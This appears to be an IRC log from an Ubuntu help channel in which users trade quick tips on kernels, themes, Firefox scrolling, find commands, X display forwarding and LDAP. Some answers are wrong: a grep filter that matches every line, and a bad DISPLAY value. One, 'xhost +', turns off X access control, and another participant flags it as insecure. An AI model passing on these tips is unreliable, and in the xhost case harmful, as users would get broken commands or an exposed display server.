[22:21] <imachine> NoCigar, no that I know of. I'm not using ubuntu for a while. Just a few hours, so I haven't gotten to it's insides yet. TBH, I plan to run it with as little customization as required - wanna see how an average "not knowing much" user will manage using it :)
[22:21] <imachine> how usable it is.
[22:21] <imachine> Drk_Guy, I kno; it's not me having issues tho.
[22:22] <NoCigar> hmm
[22:22] <NoCigar> argh
[22:22] <NoCigar> I'm so unlucky
[22:22] <imachine> NoCigar, mebb there's some netinstall command on the livecd
[22:22] <krim> strategy: well, try konqueror or epiphany but I have a feeling it's not a problem with Firefox
[22:22] <imachine> dunno
[22:22] <jalvarado_> how can I install a Wireless G 54M USB Adapter?
[22:22] <Drk_Guy> imachine, just a quick-and-dirty suggestion
[22:22] <AB1> hi all
[22:22] <imachine> Drk_Guy, yeah k
[22:22] <NoCigar> Windows CD won't format my harddrive, Linux CD does but the CD is corrupted
[22:22] <Drk_Guy> :p
[22:22] <Drk_Guy> NoCigar, re-download Gparted liveCD
[22:22] <imachine> Drk_Guy, tell me about ext4dev tho ;-)
[22:22] <d_dyer> erUSUL:Where can i find the wine folder
[22:23] <erUSUL> d_dyer: your home
[22:23] <Drk_Guy> imachine, ext4 is really in the future
[22:23] <d_dyer> ok
[22:23] <imachine> Drk_Guy, hehe
[22:23] <strategy> krim, oh noes..
[22:23] <imachine> Drk_Guy, ok, I've been using it for about a year now, it worked great.
[22:23] <Drk_Guy> imachine, although vanilla kernels (like the one i'm running) offer support for it
[22:23] <imachine> I just need to move my files from an old partition tho.
[22:23] <AB1> i just installed ubuntu and everythings nice. is it possible that i could change the boot selections (i am multi booting with windows) into something more colorful like opensuse?
[22:23] <NoCigar> Drk_Guy why do I need to download g-parted?
[22:23] <Drk_Guy> imachine, ext4 shouldn't be used
[22:24] <NoCigar> it's the files that are supposed to be installed that are corrupted
[22:24] <Drk_Guy> NoCigar, because it'll format your partitions
[22:24] <imachine> Drk_Guy, yeah, I know. ubuntu kernel doesn't have it. do you know how I can run it on ubbuntu, so I can get my old files like firefox configs etc ?
[22:24] <imachine> I need my e-mails :-)
[22:24] <Drk_Guy> imachine, you have to compile a kernel (EXTREMELY easy)
[22:24] <fatbrain> Hellow, when using gnome-terminal, is there a way I can disable all keyboard-shotcuts briefly while working in vim editor?
[22:24] <Boglizk> Hey, my mouse is stuck.. like.. stuck, i cant click nor move it. Any way to fix it (Preferably without ctrl-alt-backspace please /o\)
[22:24] <imachine> Drk_Guy, any ubuntu way to do that?
[22:24] <Drk_Guy> imachine, and it provides you with EXTREMELY fast kernel
[22:24] <imachine> Drk_Guy, I remember debian having some kernel-config stuff.
[22:24] <Drk_Guy> !kernel
[22:24] <imachine> like, kernelconfig packages or so.
[22:25] <Drk_Guy> :p
[22:25] <imachine> oh cheers
[22:25] <imachine> I love ubuntu as it is. seems so at least.
[22:25] <imachine> it boots faster than arch...
[22:25] <misse-> Drk_Guy: so, do you really gain that much performance by compiling your own kernel?
[22:25] <imachine> it really gained a lot recently.
[22:25] <bazz> i need a calendaring app that a) will mostly just sit in my system tray and notify me of appointments, and b) will sync with google calender.  orage would be perfect if it could sync to google.   anything else like that?
[22:25] <imachine> I last run it for tests at 6.x or so. wasn't as fast as it is now.
[22:25] <Drk_Guy> misse-, :) ubuntu stock kernel loads up all modules
[22:25] <imachine> it got a lot better :)
[22:25] <Drk_Guy> misse-, my kernel only loads my hw's modules
[22:26] <imachine> bazz, you can use evolution.
[22:26] <imachine> bazz, just get the google plugins and some tray plugin app.
[22:26] <misse-> Drk_Guy: ah yeah. :P I thought you ment that a kernel compiled on your own system beats the generic ;P ofc it runs faster when slimmed
[22:26] <jiMMiE_bO> silly question but, I want to change my desktop backroundpic and downloaded and "installed" a few, but now I don't know where I can find em?! so wazzup!? Ò.ó
[22:26] <Drk_Guy> misse-, i mean, generic kernel is really owned by custom kernel
[22:27] <bazz> imachine: evolution is a pretty heavyweight solution to the problem.  i don't need all that extra stuff, i'd prefer something that was just my calendar
[22:27] <misse-> Drk_Guy: yeah. wordup :»
[22:27] <Drk_Guy> misse-, lol
[22:27] <misse-> :P
[22:27] <macvr> ﻿unop>﻿in case of system or any other problems...   reinstall tht component will do?  starting programs from the command line should end with  "&"  to specify error? or just the command would display the error?

[22:27] <misse-> Drk_Guy: I gotta check what chipset my new server is running.
[22:28] <Drk_Guy> misse-, if you run nvidia, you're good to go
[22:28] <ballzee> how can i add my maxter exturnal usb 2.0 to my /etc/fstab it keeps changing its name automounting it from onetouch4 to onetouch4-1
[22:28] <jalvarado_> hi  eduardicimo, how can I install a Wireless G 54M USB Adapter?
[22:28] <LeszekeM> hello everybody:)
[22:28] <imachine> bazz, I understand. it's just that evolution is already there ;))
[22:28] <misse-> Drk_Guy: whu? Nah. It's definetely not nvidia chipset.
[22:28] <misse-> Drk_Guy: it'sa dual s370 from an old Dell Poweredge.
[22:28] <bazz> Jack_Sparrow: will check it out, thanks.  does it support syncing to gcal?
[22:29] <Drk_Guy> misse-, the nforce drivers from nvidia are opensource, and thus, included in the kernel
[22:29] <dem> hey guys
[22:29] <dem> how do you do..
[22:29] <strategy> krim, well epiphany is slightly better, but not by too much. you're right of course. it appears(via gnome-monitor) that i'm only using half my ram though(200MB is empty).. shouldnt that mean thay anything i run should have enough RAM to run happily..?
[22:29] <Jack_Sparrow> bazz No idea, I just used it for scheduling
[22:29] <misse-> Drk_Guy: I did not know that. But nvidia chipset for a server? naah.
[22:29] <dem> Is anybody here from Greece?
[22:29] <Drk_Guy> misse-, nvidia chipsetn owns

[22:30] <imachine> Drk_Guy, which heat up quickly and nvidia sort of treats them withtout proper care.
[22:30] <Drk_Guy> imachine, why? my nforce4 rocks
[22:30] <misse-> Drk_Guy: I'm an intel kind of guy when it comes to chipsets. Have started to dislike nvidia somwhat also because of their proprietary drivers lacking in performance

[23:14] <ERICHMOBILE> i have a p4 mobile laptop rated at 1.6ghz and in linux it shows up correctly at 1596mhz, though in XP it's rated at 1200mhz. ram is pc2100 rated at 133 and in cpuz running at 100. any ideas?
[23:14] <shaunjonesfzr> asl ! all
[23:14] <JuJuBee> unop: what would be a relatively easy option?  Know of a good (simple) how to for LDAP?
[23:15] <shaunjonesfzr> is any 1 speaking on here or what
[23:16] <unop> JuJuBee, NIS+ is relatively easy if you already have NIS and/or know how it works .. as for a LDAP, i would use the TLDP one
[23:16] <Soundman> maybe somethink like cool and quiet ? erichmobile
[23:16] <unop> LDAP howto*
[23:16] <Soundman> check bios
[23:16] <ERICHMOBILE> Soundman, in BIOS?

[23:18] <vbman11> Hi I was wondering if there was a way to use vmware,  virtual box, etc. to boot an existing windows partition. I will do if even If I have to copy the entire partition to a hdd image file on my hard drive!
[23:20] <D1sa5t3r> hmmm...
[23:21] <hou5ton> When I change the the Visual Effects in System/Preferences/Appearance to "Extra" ... does it slow down the loading of web pages?
[23:22] <D1sa5t3r> gdesklet...anything else?
[23:22] <vbman11> hou5ton: no
[23:23] <vbman11> hou5ton: why
[23:23] <hou5ton> vbman11:  just wondering ... it said it would slow down graphics possibly ... and web pages have lots of them ???
[23:24] <vbman11> hou5ton: well It uses more processing power which might leave less for firefox or what ever you are using, so it might
[23:25] <hou5ton> vbman11:  I've experimented a little bit with the visual effects .... using anything but the simplest one, Google Earth crashes and a program that runs in a virtual window will crash sometimes as well.
[23:25] <Soundman> hou5ton:  it doesnt matter for web pages
[23:25] <hou5ton> ok ... thanks
[23:25] <Soundman> If system isnt slow down all its ok
[23:25] <D1sa5t3r> hou5ton we have a problem...
[23:25] <Soundman> xD
[23:25] <hou5ton> D1sa5t3r:  yes ... we do .... but you don't know what it is.  :-)
[23:25] <AB1> i just installed ubuntu and everythings nice. is it possible that i could change the boot selections (i am multi booting with windows) into something more colorful like opensuse's?

[23:26] <mrwhippy> anyone around that knows about bind9 on ubuntu server 8.04 i seem to be having issues in that i cant get teh name resolution to work, it looks like the name isnt in the settings, from what i understand
[23:26] <vbman11> wearspar told me to type that
[23:26] <gogzmer> How can I find all files in a directory tree with no "." in their name?
[23:26] <hou5ton> by the way .... when I logged on this time .... someone PM'd me and said to go to some link they provided if I wanted to be an Operater on Ubuntu..   :-)
[23:27] <hou5ton> I just learned how to say it.  LOL
[23:27] <Soundman> hou5ton:  just spam
[23:27] <hou5ton> ya
[23:28] <joshuajtl> any good flash animation creation tool for linux?
[23:28] <huang_liu> Hi, why if i turn on my pc without the moniton being also on during the boot time, the system appears to use a "generic" monitor and the resolution and other customizes settings are lost until the next reboot with the monitor on during the boot time?
[23:29] <cppmonkey> I am trying to setup a DAV folder using Apache2, I have managed to upload the files to it using git-gui but I can get them on my Windows system using TortoiseSVN, IE7 wont open it as a webfolder either
[23:29] <JuJuBee> unop : do you know how to tell the login screen of kubuntu to authenticate via samba?
[23:30] <gogzmer> How can I execute all of the commands in a file, line by line, from the terminal?
[23:30] <dusty_> Hey guys I have installed mysql on debian from the repositories, however i cannot connect to it remotley if i nmap it i dont see the ports. im guessing its listening locally, how do i get it to listen to the external interface aswell ?
[23:30] <mrwhippy> dusty have you got a firewall running
[23:31] <strategy> My firefox has a strange problem where, if on a large page i scroll down(lets say 10 times), it will queue my scrolls up, and keep scrolling even after i've left up on the scrollbar. Is this common / has anyone experienced this? Thanks! :D
[23:33] <omar> strategy, i never had this problem, but you can try an alternative browser
[23:33] <omar> strategy, i'm using epiphany browser
[23:33] <strategy> omar, i tried that gnome one.. uh.. epiphany, and it had the same problem
[23:34] <hou5ton> usplash is installed, and when I type that command in a command line it recognizes it by finishing the word, but nothing even opens?  Why?
[23:34] <ERICHMOBILE> Soundman, still running at 1200mhz.
[23:34] <omar> strategy, i think the problem is related to gecko ( the engine that's used by both firefox and epiphany )
[23:34] <strategy> hm
[23:35] <omar> strategy, try seamonkey or any other browser
[23:35] <omar> strategy, and see if you still have the same problem
[23:35] <strategy> omar, seamonkey isnt gecko? interesting. okay, thanks :)
[23:35] <ckyle> yo - the man / info coreutils
[23:36] <ckyle> sorry
[23:36] <EJ> \\'elcome ßack Jesus
[23:36] <omar> strategy, there is a non gecko version of seamonkey if i remember well :)
[23:37] <omar> strategy, same thing for epiphany
[23:37] <strategy> ah cool
[23:38] <strategy> omar, doesnt queue if i scroll slow enough, so i guess i'll just need to do that..
[23:38] <hou5ton> usplash is installed, and when I type that command in a command line it recognizes it by finishing the word, but nothing even opens?  Why?
[23:38] <omar> strategy, if it doesn't bothers you then scroll slowly :)
[23:38] <soundray> strategy: is this when you scroll with PgDown?
[23:39] <dashnu> hou5ton: use startup manager
[23:39] <strategy> Soundman, nope, with the arrow keys or the scrollbar
[23:39] <strategy> never used pageup/down\
[23:39] <soundray> strategy: that may be a workaround, then
[23:39] <strategy> Soundman, hmm ok
[23:39] <strategy> soundray*, sorry :p
[23:39] <hou5ton> dashnu:  hmmm ... I don't seem to have that installed
[23:40] <skonerrr> hi
[23:40] <olivier> hi
[23:40] <Soundman> yep yep :P soundray not me xD
[23:40] <soundray> strategy: I can't seem to reproduce your problem here
[23:40] <skonerrr> i have a broblem with aircrack
[23:40] <dashnu> hou5ton: apt-get it
[23:40] <soundray> Hello Soundman
[23:40] <hou5ton> dashnu:  ya ... getting it now
[23:40] <Soundman> hi :P but chatting here is not allowed :P
[23:40] <strategy> soundray, hm, even when you scroll really fast, a bunch of times?
[23:40] <dashnu> hou5ton: you trying to change your theme?
[23:40] <gogzmer> Hello. How can I find the names of all subdirectories for a given directory from the command line?
[23:41] <hou5ton> dashnu:  no .... the login page
[23:41] <strategy> soundray, hm. it could also be a much larger problem, with my input device. that could be catastrophic..
[23:41] <dashnu> hou5ton: GDM?
[23:41] <soundray> strategy: even when I hold the arrow keys to repeat
[23:41] <hou5ton> dashnu:  Gnome
[23:41] <dashnu> hou5ton: k startup manager does it
[23:41] <strategy> soundray, hm! did the same thing in xchat, just much more mildly
[23:41] <soundray> gogzmer: find /base/dir -type d
[23:42] <dashnu> gogzmer: ls -lr
[23:42] <hou5ton> dashnu:  although, while we're on that subject, I have put two new themes in in the Theme dir, and they are not listed when I go to that setting in Appearance
[23:42] <noobieee> hy
[23:42] <gogzmer> soundray: Is there a way I can modify this to find any file with no period(.) in it's name?
[23:42] <noobieee> whats the name ob the german ubuntu channel?
[23:43] <Jack_Sparrow> skonerrr There are hackers channels for help on those sorts of tools.  A professional using it for work knows how to set it up and use it.  We supply it as open source, but dont look for help with it here.!de
[23:43] <Jack_Sparrow> !de
[23:43] <soundray> gogzmer: find /base/dir -type d | grep -v \.
[23:43] <noobieee> ty
[23:43] <Jack_Sparrow> np
[23:43] <dashnu> hou5ton: i use the tools provided to install the themes
[23:44] <dashnu> maybe you just need to click customize
[23:44] <hou5ton> dashnu:  which are?
[23:44] <dashnu> hou5ton: sys > prefs > apperance
[23:45] <dashnu> then install
[23:45] <gogzmer> soundray: if I swap out -type d  for -type f, will it find all normal files with no extension?
[23:45] <Jack_Sparrow> !theme
[23:45] <mizipzor> how do i find out how many bpp my x server uses?
[23:46] <soundray> gogzmer: it will find all normal files without periods in the name
[23:46] <soundray> gogzmer: note normal files excludes symlinks
[23:46] <tactics> soundray, hm. doesnt queue like that on windows.. is it something i can disable? (i'm strategy on windows)
[23:47] <squarebracket> is there a way to launch a program on a connected display through ssh?
[23:47] <soundray> tactics: I don't know -- perhaps put about:config as the URL and filter for scroll
[23:48] <tactics> soundray, hm.. so nothing OS-wide?
[23:48] <hou5ton> dashnu:  yes ... I use that too .... but the ones I have downloaded to the Theme dir don't show up in the graphical window ... so I click on Install, and go to the folder .... but don't find anything there that will execute.
[23:48] <soundray> tactics: I thought the problem was limited to browsers?
[23:49] <tactics> soundray, well, it's more extreme in browsers
[23:49] <tactics> erm
[23:49] <tactics> soundray, well, it's more extreme in browsers(so probably gecko?), but it happens OS-wide on a much smaller scale
[23:49] <Jack_Sparrow> hou5ton to install a theme, drag and drop the tar file onto the open theme manager
[23:49] <soundray> tactics: does it happen in a live-CD system?
[23:50] <Stargazer> Totem movie player isn't playing cloverfield, any ideas ?
[23:50] <tactics> soundray, i've never used a live-CD except to install.. shall i try that?
[23:50] <hou5ton> Jack_Sparrow:  the whole tar file ... or the folder after it's extracted?
[23:50] <dashnu> the tar
[23:50] <Jack_Sparrow> hou5ton the *.tar
[23:50] <hou5ton> Jack_Sparrow:  and then extract it??
[23:50] <Jack_Sparrow> hou5ton nope
[23:50] <hou5ton> ok
[23:51] <dashnu> Any ideas why the default usplash theme is the only theme that works for me?
[23:51] <dashnu> i have a xps m1330
[23:51] <soundray> tactics: why not? If you find that everything is fine on live, at least you know it's a software problem specific to your installation
[23:51] <tactics> hmm ok
[23:51] <dashnu> i cant seem to change the resolution and get it to work
[23:51] <soundray> tactics: if you find it on live as well, I'd suggest reporting it as a bug. Include lspci -vv output in the report
[23:52] <Jack_Sparrow> dashnu what res are you trying to push on there
[23:52] <soundray> !bugs | tactics
[23:52] <dashnu> Jack_Sparrow: usually 800x600
[23:52] <dashnu> 8 bits at this point
[23:52] <dashnu> :p
[23:53] <dashnu> !usplash
[23:53] <Jack_Sparrow> dashnu you are probably using more than 14 colors
[23:53] <tactics> soundray, well it might be my xorg.conf, which looks kind of empty.. http://codepad.org/FZFwQ0FM
[23:54] <soundray> tactics: I doubt it. Your xorg.conf looks typical for a hardy installation
[23:55] <tactics> soundray, oh okay
[23:55] <squarebracket> how are X displays specified on the command line?
[23:55] <squarebracket> like if i do --display=something, what should the something be?
[23:55] <soundray> squarebracket: :0.0
[23:55] <dashnu> Jack_Sparrow: how do I address that?
[23:55] <soundray> squarebracket: or just :0
[23:56] <squarebracket> hmm, not working
[23:56] <Jack_Sparrow> dashnu reduce the number of colorsa in your image
[23:56] <soundray> squarebracket: what are you trying to do?
[23:56] <dashnu> ok im just downloading them
[23:56] <Jack_Sparrow> dashnu Use Gimp, Use Image, Scale Image and Reduce to 640 x 480 then using tools, color tools, posterize,, set to 14 colors,m save as xmp, archive with gz...
[23:56] <squarebracket> soundray: launch firefox remotely
[23:57] <soundray> squarebracket: do you mean launch remotely and display locally, or launch locally and display remotely?
[23:57] <squarebracket> soundray: launch locally and display remotely
[23:58] <squarebracket> soundray: and there's a --display command line switch which says "specify X display"
[23:58] <Odd-rationale> squarebracket: like this? http://www.cisl.ucar.edu/docs/ssh/guide/node29.html
[23:58] <mlLK> is an ldap server a little overkill for a lan?
[23:58] <dashnu> soundray: or just export your display
[23:58] <soundray> squarebracket: well, :0 is for the local default display, so that couldn't have worked
[23:58] <dashnu> export DISPLAY=0:0
[23:58] <mlLK> for home use
[23:58] <dashnu> or something
[23:58] <soundray> dashnu: wrong syntax
[23:58] <dashnu> xhost +
[23:59] <soundray> dashnu: insecure
[23:59] <mlLK> otherwise, should i just a static ip to host ldap?
[23:59] <dashnu> is it in a LAN
[23:59] <dashnu> well use ssh then
[23:59] <mlLK> who?
